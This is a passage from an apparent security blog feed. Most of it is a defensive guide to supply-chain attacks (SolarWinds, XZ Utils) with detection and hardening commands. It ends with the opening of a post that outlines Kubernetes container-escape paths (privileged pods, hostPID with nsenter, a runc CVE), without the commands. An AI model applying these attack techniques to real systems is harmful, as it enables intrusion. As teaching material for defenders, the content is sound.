# He was running sshd benchmarks and noticed unexpected latency
strace -p $(pgrep sshd) 2&gt;&amp;1 | head -20
# Saw unexpected calls into liblzma that should not be there
# Normal sshd does not call into liblzma at all

# Verify tarball vs git diff (the forensic check)
# If you have both the tarball and git source:
tar xf xz-5.6.1.tar.gz
git clone https://github.com/tukaani-project/xz.git xz-git
diff -r xz-5.6.1/ xz-git/
# Extra files in the tarball that don&#039;t appear in git = compromise indicator
</code></pre>
<p><strong>What makes this attack class so dangerous:</strong></p>
<p>The actor ran a multi-year operation. Two years of legitimate contributions, relationship-building with maintainers, and social pressure coordination across multiple fake personas. The code quality was good — Jia Tan&#8217;s legitimate commits improved xz-utils. The backdoor code was technically sophisticated enough that it took days of analysis to fully reverse-engineer after Freund&#8217;s discovery.</p>
<hr />
<h2 id="red-phase-how-supply-chain-attacks-work-in-practice">Red Phase: How Supply Chain Attacks Work in Practice</h2>
<p>There are three distinct attack surfaces. They require different defenses and catch different attack classes.</p>
<h3 id="1-build-system-compromise-solarwinds-model">1. Build System Compromise (SolarWinds Model)</h3>
<p>The attacker gains access to the CI/CD or build host and modifies compiled artifacts. The source code is clean. Git history is clean. Only the build output is poisoned.</p>
<p><strong>What makes it hard to catch:</strong> legitimate signing certificate, normal distribution channel, artifact passes all integrity checks that consumers run.</p>
<p><strong>Simulation (safe to run in a test environment):</strong></p>
<pre><code class="" data-line=""># Understand your build artifact&#039;s provenance
# Can you trace a production binary back to a specific source commit?

# For a Docker image: inspect build metadata
docker inspect your-org/your-image:latest | \
  jq &#039;.[0].Config.Labels&#039;
# Look for: org.opencontainers.image.revision (git SHA)
#           org.opencontainers.image.source (repo URL)
# If these labels are absent, you cannot verify what source built this image

# For a Go binary: read embedded build info
go version -m /path/to/binary
# Shows: Go version, module path, dependencies with versions and hashes
# If -trimpath was used during build, some info may be stripped

# Check if a container image was built from a known CI workflow
# (assumes SLSA provenance attestation is present)
cosign verify-attestation \
  --type slsaprovenance \
  --certificate-identity-regexp=&quot;.*&quot; \
  --certificate-oidc-issuer=&quot;https://token.actions.githubusercontent.com&quot; \
  your-org/your-image:latest | \
  jq -r &#039;.payload | @base64d | fromjson | .predicate.buildType&#039;
</code></pre>
<h3 id="2-dependency-hijacking-typosquatting-and-dependency-confusion">2. Dependency Hijacking: Typosquatting and Dependency Confusion</h3>
<p><strong>Typosquatting:</strong> a malicious package on PyPI/npm with a name close to a popular package (<code class="" data-line="">requets</code> vs <code class="" data-line="">requests</code>, <code class="" data-line="">djano</code> vs <code class="" data-line="">django</code>). Developers with a typo in their <code class="" data-line="">requirements.txt</code> install the malicious package.</p>
<p><strong>Dependency confusion:</strong> a private internal package (<code class="" data-line="">mycompany-utils</code>) has the same name as a package you upload to the public registry with a higher version number. Package managers that check public registries before private ones will resolve the public (malicious) version.</p>
<pre><code class="" data-line=""># Test for dependency confusion: can your private package names be
# resolved from the public registry?
# Do this in a throwaway environment, NOT production

# For Python: check if your internal package name exists on PyPI
pip index versions your-internal-package-name 2&gt;/dev/null
# If it returns versions and you didn&#039;t publish it there = confusion risk

# For npm: check if your scoped package exists on the public registry
npm view @your-scope/your-package version 2&gt;/dev/null
# An unscoped internal package with a public registry hit = confusion risk

# For pip: audit your requirements for known-bad packages
pip-audit --requirement requirements.txt
# pip-audit checks against the OSV vulnerability database
# Install: pip install pip-audit

# For npm: audit for both vulnerabilities and signature issues
npm audit
npm audit signatures
# &#039;npm audit signatures&#039; verifies that packages in node_modules were
# signed with registry-issued keys — catches tampered downloads
</code></pre>
<h3 id="3-maintainer-compromise-and-social-engineering-xz-model">3. Maintainer Compromise and Social Engineering (XZ Model)</h3>
<p>The hardest attack class to detect from the outside. A trusted maintainer is either compromised or is the attacker. Their commits are signed, their track record is legitimate, the package comes from the canonical repository.</p>
<p><strong>What you can check:</strong></p>
<pre><code class="" data-line=""># Verify a PyPI package hash matches what&#039;s listed in the index
# The hash listed on PyPI is set at upload time — if the file was
# replaced after upload, the hash would change (PyPI prevents this,
# but private/mirror registries may not)
pip download requests==2.31.0 --no-deps --dest /tmp/pkg-check/
sha256sum /tmp/pkg-check/requests-2.31.0-py3-none-any.whl
# Compare to the hash shown at pypi.org/project/requests/2.31.0/#files

# Check npm package signatures (post-XZ hygiene)
npm audit signatures
# Output shows: verified (good), missing (not signed), invalid (tampered)

# For containers: verify Sigstore signature
cosign verify \
  --certificate-identity-regexp=&quot;.*&quot; \
  --certificate-oidc-issuer=&quot;https://token.actions.githubusercontent.com&quot; \
  ghcr.io/your-org/your-image:latest
# If this fails: the image was not built by the expected GitHub Actions workflow
</code></pre>
<hr />
<h2 id="blue-phase-detection">Blue Phase: Detection</h2>
<h3 id="slsa-what-level-your-pipeline-should-be-at">SLSA: What Level Your Pipeline Should Be At</h3>
<p>SLSA (Supply chain Levels for Software Artifacts) is a framework for build pipeline integrity. Four levels:</p>
<pre><code class="" data-line="">SLSA Level 1  Build process is scripted/automated, produces provenance
              Most teams can reach this today
              Catches: accidental modifications, basic auditability

SLSA Level 2  Build runs on a hosted, version-controlled build platform
              (GitHub Actions, GitLab CI) — provenance is signed by the
              build platform, not just the developer
              Catches: developer workstation compromise

SLSA Level 3  Hermetic builds — the build environment is isolated from
              the network, cannot pull external resources at build time
              Provenance is non-forgeable
              Catches: build-time dependency injection, most CI/CD attacks

SLSA Level 4  (deprecated in SLSA v1.0, merged into L3)

Most teams should target SLSA Level 2 now, Level 3 within 6 months.
Level 3 is where SolarWinds-class attacks become detectable.
</code></pre>
<h3 id="container-image-signing-with-sigstorecosign">Container Image Signing with Sigstore/cosign</h3>
<pre><code class="" data-line=""># Sign a container image after build (in CI, using OIDC — no stored key)
# This runs inside GitHub Actions after the docker push step
cosign sign \
  --yes \
  ghcr.io/your-org/your-image:${GITHUB_SHA}
# cosign uses the GitHub Actions OIDC token to sign — no private key needed
# The signature is stored in the registry alongside the image

# Verify the signature and check the certificate claims
cosign verify \
  --certificate-identity=&quot;https://github.com/your-org/your-repo/.github/workflows/build.yml@refs/heads/main&quot; \
  --certificate-oidc-issuer=&quot;https://token.actions.githubusercontent.com&quot; \
  ghcr.io/your-org/your-image:latest | \
  jq &#039;.[0] | {
    issuer: .optional.Issuer,
    workflow: .optional.BuildSignerURI,
    repo: .optional.SourceRepositoryURI,
    ref: .optional.SourceRepositoryRef
  }&#039;
# A passing verification means:
# - Image was built by a specific GitHub Actions workflow
# - In a specific repository, on a specific branch
# - At a specific time (cert has a 10-minute TTL)
</code></pre>
<h3 id="sbom-generation-and-vulnerability-scanning">SBOM Generation and Vulnerability Scanning</h3>
<p>An SBOM (Software Bill of Materials) enumerates every component in a software artifact. Without an SBOM, you cannot answer &#8220;are we affected by the XZ backdoor?&#8221; across your fleet in under an hour.</p>
<pre><code class="" data-line=""># Generate an SBOM for a container image using syft
syft your-org/your-image:latest -o cyclonedx-json &gt; sbom.json
# syft walks the image layers and catalogs every package,
# including OS packages (rpm/deb), language packages (pip/npm/go),
# and their versions

# Inspect what syft found
cat sbom.json | jq &#039;.components[] | select(.name == &quot;xz-libs&quot;) | {name, version, purl}&#039;
# Example output:
# {
#   &quot;name&quot;: &quot;xz-libs&quot;,
#   &quot;version&quot;: &quot;5.4.4-1.el9&quot;,    ← 5.4.x = safe; 5.6.0/5.6.1 = backdoored
#   &quot;purl&quot;: &quot;pkg:rpm/redhat/xz-libs@5.4.4-1.el9?arch=x86_64&quot;
# }

# Scan the SBOM for known vulnerabilities
grype sbom:./sbom.json
# grype checks each component against Grype&#039;s vulnerability database
# (CVE, GHSA, OSV) — would have flagged CVE-2024-3094 once published

# Automate: generate SBOM and scan in CI, fail build if critical CVEs found
grype sbom:./sbom.json --fail-on critical
</code></pre>
<h3 id="build-provenance-with-github-actions-slsa-level-23">Build Provenance with GitHub Actions (SLSA Level 2/3)</h3>
<pre><code class="" data-line=""># .github/workflows/build.yml
# Adds SLSA provenance attestation to every release artifact
name: Build and attest

on:
  push:
    tags: [&quot;v*&quot;]

permissions:
  contents: write
  id-token: write       # Required for OIDC signing
  attestations: write   # Required for GitHub attestation API

jobs:
  build:
    runs-on: ubuntu-latest
    outputs:
      image-digest: ${{ steps.push.outputs.digest }}
    steps:
      - uses: actions/checkout@v4

      - name: Build and push container image
        id: push
        uses: docker/build-push-action@v5
        with:
          push: true
          tags: ghcr.io/${{ github.repository }}:${{ github.ref_name }}

      - name: Generate SLSA provenance attestation
        uses: actions/attest-build-provenance@v1
        with:
          subject-name: ghcr.io/${{ github.repository }}
          subject-digest: ${{ steps.push.outputs.digest }}
          push-to-registry: true
          # This generates a signed SLSA provenance statement that records:
          # - Which workflow built this artifact
          # - The git SHA it was built from
          # - The trigger event
          # Stored alongside the image in the registry
</code></pre>
<pre><code class="" data-line=""># Verify the attestation against an image
gh attestation verify \
  oci://ghcr.io/your-org/your-image:latest \
  --owner your-org
# Passes: image provenance is traceable to a specific workflow run
# Fails: image was built and pushed outside any attested workflow
</code></pre>
<h3 id="what-anomaly-detection-catches">What Anomaly Detection Catches</h3>
<p>Sigstore and SBOM scanning catch known-bad artifacts. Anomaly detection catches behavior that hasn&#8217;t been classified yet:</p>
<ul>
<li><strong>Unexpected external connections during build:</strong> a hermetic build should make zero network calls after dependency fetch. Any egress during the build phase is a signal — a compromised build tool phoning home, a dependency pulling a secondary payload at install time</li>
<li><strong>Artifact hash drift:</strong> if the same source commit produces different binary output on two consecutive builds, the build environment is non-deterministic at best, compromised at worst. Reproducible builds produce identical byte-for-byte output from identical inputs — hash drift indicates something in the build environment changed</li>
<li><strong>New dependency additions without PR:</strong> any dependency that appears in a build artifact but was not added via a reviewed pull request is an anomaly. SBOMs make this comparison possible; without them it is invisible</li>
</ul>
<pre><code class="" data-line=""># Check for unexpected network connections during a build
# Run this on the build host during a CI job
ss -tnp | grep -E &quot;(ESTABLISHED|SYN_SENT)&quot;
# Any connection to an IP outside your artifact registry and SCM = investigate

# Compare artifact hashes across two builds of the same commit
# (tests build reproducibility)
docker pull ghcr.io/your-org/your-image@sha256:&lt;first-build-digest&gt;
docker pull ghcr.io/your-org/your-image@sha256:&lt;second-build-digest&gt;
# If the digests differ for the same source commit, investigate
</code></pre>
<hr />
<h2 id="purple-phase-structural-fixes">Purple Phase: Structural Fixes</h2>
<h3 id="1-pin-dependencies-with-hashes-not-just-versions">1. Pin Dependencies with Hashes — Not Just Versions</h3>
<p>Version pinning (<code class="" data-line="">requests==2.31.0</code>) pins the version number. The package maintainer can yank and re-upload that version with different content on some registries. Hash pinning locks the exact file bytes:</p>
<pre><code class="" data-line=""># requirements.txt — hash-pinned
requests==2.31.0 \
    --hash=sha256:58cd2187423839e4e2d07f6f16c9cd680e74d6066237a4e1e88f06fc4a3e2e56 \
    --hash=sha256:942c5a758f98d790eaed1a29cb6eefc7ffb0d1cf7af05c3d2791656dbd6ad1e1
# Two hashes because the package ships both a wheel and a source tarball
# pip verifies the downloaded file matches one of these hashes before installing

# Generate hash-pinned requirements from a working environment
pip-compile --generate-hashes requirements.in --output-file requirements.txt
# pip-compile resolves the full dependency tree and writes pinned+hashed output
</code></pre>
<p>For containers, pin base images by digest, not by tag:</p>
<pre><code class="" data-line=""># Vulnerable: mutable tag
FROM python:3.11-slim

# Secure: pinned digest
FROM python:3.11-slim@sha256:6a37af1bde8be89040f70b9e93f2f61b5f14e99d7e49f9ea3dc7ded2e1c82f7b
# The digest is immutable — this exact image layer will always be fetched,
# regardless of what the 3.11-slim tag points to in the future
</code></pre>
<h3 id="2-private-artifact-registry-no-direct-pypi-or-npm-in-production-ci">2. Private Artifact Registry — No Direct PyPI or npm in Production CI</h3>
<p>A private registry (Artifactory, Nexus, AWS CodeArtifact, Google Artifact Registry) proxies upstream registries and caches approved packages. Benefits:</p>
<ul>
<li><strong>Dependency confusion protection:</strong> your CI resolves <code class="" data-line="">mycompany-utils</code> from your private registry first, never from public PyPI</li>
<li><strong>Availability independence:</strong> a PyPI outage does not break your builds</li>
<li><strong>Audit trail:</strong> every package version pulled in every build is logged</li>
<li><strong>Policy enforcement:</strong> you can block packages with unacceptable licenses or CVE scores</li>
</ul>
<pre><code class="" data-line=""># Configure pip to use a private registry proxy exclusively
# In ci/pip.conf or as environment variable
export PIP_INDEX_URL=&quot;https://your-artifactory.company.com/artifactory/api/pypi/pypi-virtual/simple/&quot;
export PIP_TRUSTED_HOST=&quot;your-artifactory.company.com&quot;
# No direct PyPI access — all packages go through your registry proxy

# For npm: configure registry in .npmrc
echo &quot;registry=https://your-artifactory.company.com/artifactory/api/npm/npm-virtual/&quot; &gt; .npmrc
echo &quot;always-auth=true&quot; &gt;&gt; .npmrc
</code></pre>
<h3 id="3-reproducible-builds-same-input-produces-same-output">3. Reproducible Builds — Same Input Produces Same Output</h3>
<p>Reproducible builds allow independent verification: a third party can take the same source and build environment and produce a byte-for-byte identical artifact. If the published artifact does not match, something changed between source and distribution.</p>
<p>This is exactly how the XZ tarball compromise would have been caught earlier with proper tooling: the release tarball did not match what would be produced by checking out the git tag and running the build.</p>
<pre><code class="" data-line=""># For Go: builds are reproducible by default in Go 1.13+
# Verify by building twice and comparing
go build -o binary-1 ./cmd/...
go build -o binary-2 ./cmd/...
sha256sum binary-1 binary-2
# Identical hashes = reproducible

# For containers with BuildKit: use --no-cache and compare digests
DOCKER_BUILDKIT=1 docker build --no-cache -t test-1 .
DOCKER_BUILDKIT=1 docker build --no-cache -t test-2 .
docker inspect test-1 test-2 | jq &#039;.[].Id&#039;
# Identical IDs = reproducible build environment

# SOURCE_DATE_EPOCH forces reproducible timestamps (common reproducibility blocker)
export SOURCE_DATE_EPOCH=$(git log -1 --format=%ct)
make  # or whatever your build command is
</code></pre>
<h3 id="4-separate-build-and-release-environments">4. Separate Build and Release Environments</h3>
<p>SolarWinds built and signed in the same compromised environment. The build environment had signing keys. An attacker who owns the build host owns the signing operation.</p>
<pre><code class="" data-line="">INSECURE:                           SECURE:

Build host ──&#x25b6; compile              Build host ──&#x25b6; compile
           ──&#x25b6; sign artifact                   ──&#x25b6; output unsigned artifact
           ──&#x25b6; publish                                    │
                                                          ▼
                                    Separate signing host (air-gapped or HSM)
                                                    ──&#x25b6; verify artifact hash
                                                    ──&#x25b6; sign with HSM key
                                                    ──&#x25b6; publish signed artifact
</code></pre>
<p>In practice: signing keys should live in a hardware security module (HSM) or KMS, not on the build host. The build produces an artifact hash; the signing service receives only the hash, not the full artifact, and signs it with the HSM-protected key. Build host compromise does not yield the signing key.</p>
<h3 id="5-sbom-in-every-release-non-negotiable">5. SBOM in Every Release — Non-Negotiable</h3>
<p>If you cannot enumerate what is in your artifact, you cannot answer supply chain compromise questions. When CVE-2024-3094 dropped, every organization with an SBOM could query it in minutes. Organizations without one had to manually inspect every container image and every deployed system.</p>
<pre><code class="" data-line=""># Attach SBOM to a container image as an attestation (stored in registry)
syft ghcr.io/your-org/your-image:latest -o cyclonedx-json | \
  cosign attest \
    --predicate /dev/stdin \
    --type cyclonedx \
    ghcr.io/your-org/your-image:latest
# The SBOM is now stored alongside the image and signed with OIDC credentials

# Later: retrieve and search the SBOM
cosign verify-attestation \
  --type cyclonedx \
  --certificate-identity-regexp=&quot;.*&quot; \
  --certificate-oidc-issuer=&quot;https://token.actions.githubusercontent.com&quot; \
  ghcr.io/your-org/your-image:latest | \
  jq -r &#039;.payload | @base64d | fromjson | .predicate.components[] | 
    select(.name == &quot;xz-libs&quot;) | {name, version}&#039;
</code></pre>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<p><strong>Hash pinning breaks automated dependency update workflows.</strong> When you pin with hashes, tools like Dependabot and Renovate still open PRs, but they must also update the hashes. This works — both tools support hash pinning — but you must configure them explicitly. Without hash update support in your automation, developers will remove pinning to unblock themselves.</p>
<p><strong>SLSA Level 3 requires hermetic builds — most teams are not ready.</strong> Hermetic means the build process makes no network calls during compilation (all dependencies fetched in a prior, logged step). Most existing CI pipelines fetch dependencies during the build step. Reaching SLSA Level 3 requires restructuring your pipeline into explicit fetch → build phases. Start at Level 2 (hosted, signed provenance) and treat Level 3 as a 6-month target.</p>
<p><strong>SBOMs without a query workflow are paperwork.</strong> Generating an SBOM with <code class="" data-line="">syft</code> and storing it somewhere is the easy part. The useful part is having a process to query all SBOMs across your fleet within minutes of a new CVE. Without that query infrastructure, you have documentation, not detection capability.</p>
<p><strong>Cosign verify fails silently if no signature exists.</strong> By default, if an image has no cosign signature, <code class="" data-line="">cosign verify</code> returns an error — which is correct. But in a Kubernetes admission webhook that enforces signing (e.g., Kyverno, OPA/Gatekeeper), an unsigned image must be an explicit policy violation, not a webhook error that gets bypassed by a fail-open configuration. Always run admission webhooks in fail-closed mode.</p>
<p><strong>Tarball vs git diff requires automation.</strong> Manually diffing every release tarball against its git tag is not sustainable. The XZ compromise would have been caught earlier if distributions had automated this check as part of their packaging workflow. Tools like <code class="" data-line="">diffoscope</code> can automate the comparison; integrating it into your package intake process is the structural fix.</p>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<table>
<thead>
<tr>
<th>Attack Vector</th>
<th>Detection Signal</th>
<th>Fix</th>
</tr>
</thead>
<tbody>
<tr>
<td>Build system compromise (SolarWinds)</td>
<td>Artifact hash drift; unexpected egress during build; tarball ≠ git diff</td>
<td>SLSA Level 3 hermetic builds; separate signing environment</td>
</tr>
<tr>
<td>Maintainer social engineering (XZ)</td>
<td>Tarball ≠ git diff; SBOM shows unexpected dependency; anomalous sshd syscalls</td>
<td>Reproducible builds; tarball verification in package intake</td>
</tr>
<tr>
<td>Dependency confusion</td>
<td>Package resolves from public registry instead of private</td>
<td>Private artifact registry with scoped package names</td>
</tr>
<tr>
<td>Typosquatting</td>
<td><code class="" data-line="">pip-audit</code> / <code class="" data-line="">npm audit signatures</code> findings</td>
<td>Private registry; automated dependency scanning in CI</td>
</tr>
<tr>
<td>Unsigned container image</td>
<td><code class="" data-line="">cosign verify</code> fails; no attestation in registry</td>
<td>Sigstore/cosign in CI; fail-closed admission webhook</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li><strong>Supply chain attacks bypass perimeter security entirely</strong> — the attacker delivers malware through a channel you already trust, signed by a certificate you already trust, via an update mechanism you already approve</li>
<li>SolarWinds was caught by a downstream victim (FireEye), not by SolarWinds&#8217; own security team — the build environment had no integrity monitoring that could detect modification of compiled artifacts</li>
<li>XZ Utils was caught by an engineer noticing a 500ms latency anomaly during unrelated performance work, not by any security tooling — this was within days of the backdoor shipping in multiple stable Linux distribution releases</li>
<li>The detection pipeline has five layers, each catching a different attack class: hash pinning (dependency hijacking), SBOM (enumeration and CVE correlation), Sigstore signing (artifact integrity), SLSA provenance (build traceability), tarball vs git diff (source/distribution divergence)</li>
<li>Start with what you can implement this week: <code class="" data-line="">pip-audit</code> or <code class="" data-line="">npm audit signatures</code> in CI, <code class="" data-line="">syft</code> SBOM generation on every image build, and cosign signing for any container image that reaches production — these three steps cover the most common attack classes with minimal pipeline restructuring</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>SolarWinds showed that attackers can own your build system and reach your customers&#8217; production networks through a single trusted update. Once they have a foothold in a cloud account — whether via a compromised build artifact or any other initial access vector — the next move is lateral: cross-account IAM role chaining to escalate from a single compromised resource to your entire cloud organization. EP10 covers what that lateral movement looks like, how to detect trust relationship abuse in CloudTrail, and how to structure cross-account access so that a single compromise cannot pivot to every account you own.</p>
<p>Get EP10 in your inbox when it publishes → <a href="#subscribe">subscribe at linuxcent.com</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fsupply-chain-attack-solarwinds-xz-utils%2F&amp;linkname=Supply%20Chain%20Attacks%3A%20From%20SolarWinds%20to%20XZ%20Utils%20%E2%80%94%20Detection%20and%20Defense" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fsupply-chain-attack-solarwinds-xz-utils%2F&amp;linkname=Supply%20Chain%20Attacks%3A%20From%20SolarWinds%20to%20XZ%20Utils%20%E2%80%94%20Detection%20and%20Defense" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fsupply-chain-attack-solarwinds-xz-utils%2F&amp;linkname=Supply%20Chain%20Attacks%3A%20From%20SolarWinds%20to%20XZ%20Utils%20%E2%80%94%20Detection%20and%20Defense" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fsupply-chain-attack-solarwinds-xz-utils%2F&amp;linkname=Supply%20Chain%20Attacks%3A%20From%20SolarWinds%20to%20XZ%20Utils%20%E2%80%94%20Detection%20and%20Defense" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fsupply-chain-attack-solarwinds-xz-utils%2F&amp;linkname=Supply%20Chain%20Attacks%3A%20From%20SolarWinds%20to%20XZ%20Utils%20%E2%80%94%20Detection%20and%20Defense" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fsupply-chain-attack-solarwinds-xz-utils%2F&amp;linkname=Supply%20Chain%20Attacks%3A%20From%20SolarWinds%20to%20XZ%20Utils%20%E2%80%94%20Detection%20and%20Defense" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fsupply-chain-attack-solarwinds-xz-utils%2F&amp;linkname=Supply%20Chain%20Attacks%3A%20From%20SolarWinds%20to%20XZ%20Utils%20%E2%80%94%20Detection%20and%20Defense" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fsupply-chain-attack-solarwinds-xz-utils%2F&#038;title=Supply%20Chain%20Attacks%3A%20From%20SolarWinds%20to%20XZ%20Utils%20%E2%80%94%20Detection%20and%20Defense" data-a2a-url="https://linuxcent.com/supply-chain-attack-solarwinds-xz-utils/" data-a2a-title="Supply Chain Attacks: From SolarWinds to XZ Utils — Detection and Defense"></a></p><p>The post <a href="https://linuxcent.com/supply-chain-attack-solarwinds-xz-utils/">Supply Chain Attacks: From SolarWinds to XZ Utils — Detection and Defense</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/supply-chain-attack-solarwinds-xz-utils/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1867</post-id>	</item>
		<item>
		<title>Kubernetes Container Escape: Attack Paths and eBPF Detection</title>
		<link>https://linuxcent.com/kubernetes-container-escape-attack-paths/</link>
					<comments>https://linuxcent.com/kubernetes-container-escape-attack-paths/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Fri, 26 Jun 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[Purple Team]]></category>
		<category><![CDATA[Container Escape]]></category>
		<category><![CDATA[eBPF]]></category>
		<category><![CDATA[Kubernetes]]></category>
		<category><![CDATA[OWASP]]></category>
		<category><![CDATA[Runtime Security]]></category>
		<category><![CDATA[Security]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1864</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 17</span> <span class="rt-label rt-postfix">minutes</span></span>Kubernetes container escape via --privileged or runc CVEs: two commands from container to node root. Attack path anatomy, eBPF detection, and the structural fixes that close each path.</p>
<p>The post <a href="https://linuxcent.com/kubernetes-container-escape-attack-paths/">Kubernetes Container Escape: Attack Paths and eBPF Detection</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 17</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><a href="/what-is-purple-team-security/">What is purple team security</a> → <a href="/owasp-top-10-cloud-infrastructure/">OWASP Top 10 mapped to cloud infrastructure</a> → <a href="/cloud-security-breaches-2020-2025/">Cloud security breaches 2020–2025</a> → <a href="/broken-access-control-aws/">Broken access control in AWS</a> → <a href="/mfa-fatigue-attack/">MFA fatigue attacks</a> → <a href="/cicd-secrets-exposure/">CI/CD secrets exposure</a> → <a href="/ssrf-cloud-metadata-imds-capital-one/">SSRF to cloud metadata</a> → <strong>Kubernetes Container Escape</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li><strong>Kubernetes container escape</strong> is OWASP A04 + A05: a container deployed with <code class="" data-line="">--privileged</code>, <code class="" data-line="">hostPID</code>, or <code class="" data-line="">hostNetwork</code> is not meaningfully isolated from the host — two commands can produce a root shell on the node</li>
<li>The kernel does not enforce Kubernetes namespace semantics. Container isolation comes from Linux namespaces, cgroups, and seccomp. <code class="" data-line="">--privileged</code> removes those boundaries — the kernel sees no difference between the container and the host</li>
<li>Three primary escape paths: privileged container with host device access, <code class="" data-line="">hostPID</code> + <code class="" data-line="">nsenter</code>, and runc CVEs (CVE-2019-5736) that allow a malicious container to overwrite the runc binary during exec</li>
<li>Detection requires kernel-level visibility: Falco fires on privilege container exec; Tetragon traces <code class="" data-line="">nsenter</code> and <code class="" data-line="">mount</code> syscalls at the point of the kernel hook, not a process name check that can be evaded</li>
<li>The structural fix is PodSecurity admission enforcing the Restricted profile at the namespace level — policy that blocks <code class="" data-line="">--privileged</code>, <code class="" data-line="">hostPID</code>, <code class="" data-line="">hostNetwork</code>, and mounts before a pod ever schedules</li>
<li>Network policy as a secondary layer: even if a container escapes to the node, a network policy that blocks the escaped process from reaching the Kubernetes API server limits lateral movement to the cluster control plane</li>
</ul>
<hr />
<blockquote>
